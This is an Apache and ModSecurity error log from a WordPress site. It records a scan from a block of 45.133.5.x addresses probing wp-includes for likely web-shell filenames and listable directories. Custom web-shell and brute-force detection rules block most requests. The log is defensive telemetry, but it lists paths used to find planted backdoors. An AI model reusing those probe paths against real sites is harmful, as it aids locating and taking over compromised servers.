[Mon Feb 23 20:54:18.799816 2026] [proxy_fcgi:error] [pid 39538:tid 39560] [client 45.133.5.138:26997] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 20:54:18.915043 2026] [:error] [pid 39538:tid 39553] [client 45.133.5.138:26997] [client 45.133.5.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "aZxN-i4Zk8-cQOG3ZnpzzgAAAYs"]
[Mon Feb 23 20:54:20.764554 2026] [:error] [pid 25294:tid 25345] [client 45.133.5.137:22977] [client 45.133.5.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/db.php"] [unique_id "aZxN_CRCFB3CqIo_jfbqTQAAAEY"]
[Mon Feb 23 20:54:21.018504 2026] [:error] [pid 39504:tid 39530] [client 45.133.5.129:40079] [client 45.133.5.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "aZxN_XLcHpOlI9gwwJodbgAAAVg"]
[Mon Feb 23 20:54:21.265477 2026] [:error] [pid 39640:tid 39689] [client 45.133.5.146:48305] [client 45.133.5.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aZxN_dsK--eVCgzvvufiXwAAApM"]
[Mon Feb 23 20:54:21.493208 2026] [:error] [pid 29909:tid 29911] [client 45.133.5.112:61693] [client 45.133.5.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "aZxN_T9oc2QzltksUk7eoQAAAQA"]
[Mon Feb 23 20:54:21.718625 2026] [:error] [pid 39504:tid 39517] [client 45.133.5.160:48459] [client 45.133.5.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "aZxN_XLcHpOlI9gwwJodbwAAAUs"]
[Mon Feb 23 20:54:21.969798 2026] [:error] [pid 25295:tid 25365] [client 45.133.5.108:26621] [client 45.133.5.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "aZxN_Y2Av4J1Jnqi7yLFUgAAAJY"]
[Mon Feb 23 20:54:25.074191 2026] [:error] [pid 25295:tid 25337] [client 45.133.5.139:26935] [client 45.133.5.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "aZxOAY2Av4J1Jnqi7yLFVgAAAIY"]
[Mon Feb 23 20:54:25.307754 2026] [:error] [pid 39540:tid 39569] [client 45.133.5.132:29789] [client 45.133.5.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "aZxOAbsgm9aTWhlRScK68gAAAcA"]
[Mon Feb 23 20:54:25.535857 2026] [:error] [pid 25295:tid 25338] [client 45.133.5.160:36973] [client 45.133.5.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "aZxOAY2Av4J1Jnqi7yLFVwAAAIc"]
[Mon Feb 23 20:54:26.848710 2026] [:error] [pid 25295:tid 25336] [client 45.133.5.135:51993] [client 45.133.5.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "aZxOAo2Av4J1Jnqi7yLFXAAAAIU"]
[Mon Feb 23 20:54:30.209655 2026] [:error] [pid 39538:tid 39549] [client 45.133.5.126:21561] [client 45.133.5.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/options.php"] [unique_id "aZxOBi4Zk8-cQOG3Znpz2gAAAYc"]
[Mon Feb 23 20:54:30.444580 2026] [proxy_fcgi:error] [pid 39538:tid 39546] [client 45.133.5.138:50261] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 20:54:42.478945 2026] [:error] [pid 39538:tid 39553] [client 45.133.5.138:50261] [client 45.133.5.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.138, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aZxOEi4Zk8-cQOG3Znpz4wAAAYs"]
[Mon Feb 23 20:54:50.713662 2026] [:error] [pid 39538:tid 39552] [client 45.133.5.138:50261] [client 45.133.5.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/feed-rsss.php"] [unique_id "aZxOGi4Zk8-cQOG3Znpz6QAAAYo"]
[Mon Feb 23 20:55:01.015854 2026] [autoindex:error] [pid 25294:tid 25375] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:55:01.199122 2026] [autoindex:error] [pid 25294:tid 25354] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:55:01.361234 2026] [autoindex:error] [pid 25294:tid 25377] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:55:01.481868 2026] [autoindex:error] [pid 25294:tid 25345] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:55:03.486945 2026] [autoindex:error] [pid 25294:tid 25348] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:55:03.606874 2026] [autoindex:error] [pid 25294:tid 25370] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2023/11/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:55:03.812972 2026] [autoindex:error] [pid 25294:tid 25343] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:55:03.956193 2026] [autoindex:error] [pid 25294:tid 25341] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:55:04.158546 2026] [autoindex:error] [pid 25294:tid 25362] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:55:04.300731 2026] [autoindex:error] [pid 25294:tid 25356] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:55:05.892758 2026] [autoindex:error] [pid 25294:tid 25334] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:55:07.195735 2026] [autoindex:error] [pid 25294:tid 25364] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:55:07.320740 2026] [autoindex:error] [pid 25294:tid 25366] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:55:10.335227 2026] [autoindex:error] [pid 25294:tid 25354] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/query/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:55:10.473907 2026] [autoindex:error] [pid 25294:tid 25374] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/langs/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:55:10.605983 2026] [autoindex:error] [pid 25294:tid 25372] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:55:10.734507 2026] [autoindex:error] [pid 25294:tid 25377] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:55:13.550693 2026] [autoindex:error] [pid 25294:tid 25331] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:55:15.053893 2026] [autoindex:error] [pid 25294:tid 25376] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:55:17.874812 2026] [autoindex:error] [pid 25294:tid 25343] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:55:18.022570 2026] [autoindex:error] [pid 25294:tid 25341] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:55:18.134539 2026] [autoindex:error] [pid 25294:tid 25362] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:55:26.027331 2026] [autoindex:error] [pid 25294:tid 25368] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:55:27.516529 2026] [autoindex:error] [pid 25294:tid 25375] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:55:27.654810 2026] [autoindex:error] [pid 25294:tid 25350] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:55:28.013919 2026] [autoindex:error] [pid 25294:tid 25372] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:55:28.131517 2026] [autoindex:error] [pid 25294:tid 25377] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:55:28.257262 2026] [autoindex:error] [pid 25294:tid 25345] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:55:33.492796 2026] [autoindex:error] [pid 25294:tid 25348] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/plugins/elementor/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:56:08.551276 2026] [autoindex:error] [pid 25294:tid 25341] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:56:08.673283 2026] [autoindex:error] [pid 25294:tid 25362] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:56:08.804876 2026] [autoindex:error] [pid 25294:tid 25334] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:56:08.930530 2026] [autoindex:error] [pid 25294:tid 25373] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:56:11.803724 2026] [autoindex:error] [pid 25294:tid 25345] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2023/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:56:11.927522 2026] [autoindex:error] [pid 25294:tid 25351] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:56:13.385073 2026] [autoindex:error] [pid 25294:tid 25348] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:56:14.865305 2026] [autoindex:error] [pid 25294:tid 25341] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:56:14.986466 2026] [autoindex:error] [pid 25294:tid 25362] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:56:15.102321 2026] [autoindex:error] [pid 25294:tid 25343] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:56:16.611870 2026] [autoindex:error] [pid 25294:tid 25334] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:56:16.780814 2026] [autoindex:error] [pid 25294:tid 25373] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
